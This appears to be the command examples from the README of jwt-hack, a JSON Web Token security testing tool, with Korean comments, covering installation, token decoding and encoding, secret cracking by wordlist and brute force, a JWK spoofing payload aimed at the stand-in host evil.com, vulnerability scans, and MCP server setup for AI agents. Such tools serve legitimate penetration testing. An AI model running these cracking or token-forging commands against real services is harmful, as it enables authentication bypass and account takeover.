jwt-hack

cargo install jwt-hack

brew install jwt-hack

sudo snap install jwt-hack

git clone https://github.com/hahwul/jwt-hack
cd jwt-hack
cargo install --path .

docker pull ghcr.io/hahwul/jwt-hack:latest

docker pull hahwul/jwt-hack:v2.6.0

jwt-hack decode eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0In0.CHANGED
jwt-hack decode COMPRESSED_JWT_TOKEN

# JWE 토큰 구조 디코딩
jwt-hack decode eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIn0..ZHVtbXlfaXZfMTIzNDU2.eyJ0ZXN0IjoiandlIn0.ZHVtbXlfdGFn

# JWE 헤더, 암호화된 키, IV, 암호문 및 인증 태그를 표시합니다

jwt-hack encode '{"sub":"1234"}' --secret=your-secret

jwt-hack encode '{"sub":"1234"}' --secret=your-secret --compress

# 개인 키 사용
ssh-keygen -t rsa -b 4096 -E SHA256 -m PEM -P "" -f RS256.key
jwt-hack encode '{"a":"z"}' --private-key RS256.key --algorithm=RS256

# 기본 JWE 인코딩
jwt-hack encode '{"sub":"1234", "data":"encrypted"}' --jwe --secret=your-secret

# JWE 토큰은 암호화되며 올바른 키로만 복호화할 수 있습니다
jwt-hack encode '{"sensitive":"data"}' --jwe

# 비밀 사용 (HS256, HS384, HS512와 같은 HMAC 알고리즘)
jwt-hack verify YOUR_JWT_TOKEN_HERE --secret=your-256-bit-secret

# 개인 키 사용 (RS256, ES256, EdDSA와 같은 비대칭 알고리즘)
jwt-hack verify YOUR_JWT_TOKEN_HERE --private-key path/to/your/RS256_private.key

# 사전 공격
jwt-hack crack -w wordlist.txt JWT_TOKEN
jwt-hack crack -w wordlist.txt COMPRESSED_JWT_TOKEN

# 무차별 대입 공격
jwt-hack crack -m brute JWT_TOKEN --max=4
jwt-hack crack -m brute COMPRESSED_JWT_TOKEN --max=4

jwt-hack payload JWT_TOKEN --jwk-attack evil.com --jwk-trust trusted.com

# 약한 비밀 감지 및 페이로드 생성을 포함한 전체 스캔
jwt-hack scan JWT_TOKEN

# 더 빠른 결과를 위해 비밀 크래킹 건너뛰기
jwt-hack scan JWT_TOKEN --skip-crack

# 페이로드 생성 건너뛰기
jwt-hack scan JWT_TOKEN --skip-payloads

# 약한 비밀 감지를 위한 사용자 정의 단어 목록 사용
jwt-hack scan JWT_TOKEN -w custom_wordlist.txt

# 비밀 테스트 시도 횟수 제한
jwt-hack scan JWT_TOKEN --max-crack-attempts 50

# API 키 보호와 함께 localhost:3000에서 시작
jwt-hack server --api-key your-api-key

# 예시 요청 (--api-key 설정 시 X-API-KEY를 포함해야 함)
curl -s http://127.0.0.1:3000/health -H 'X-API-KEY: your-api-key'

# MCP 서버 시작 (stdio를 통해 통신)
jwt-hack mcp

{
  "name": "decode",
  "arguments": {
    "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
  }
}

{
  "name": "encode",
  "arguments": {
    "json": "{\"sub\":\"1234\",\"name\":\"test\"}",
    "secret": "mysecret",
    "algorithm": "HS256"
  }
}

{
  "servers": {
    "jwt-hack": {
      "type": "stdio",
      "command": "jwt-hack",
      "args": [
        "mcp"
      ]
    }
  },
  "inputs": []
}

{
  "mcpServers": {
    "jwt-hack": {
      "command": "jwt-hack",
      "args": ["mcp"],
      "env": {}
    }
  }
}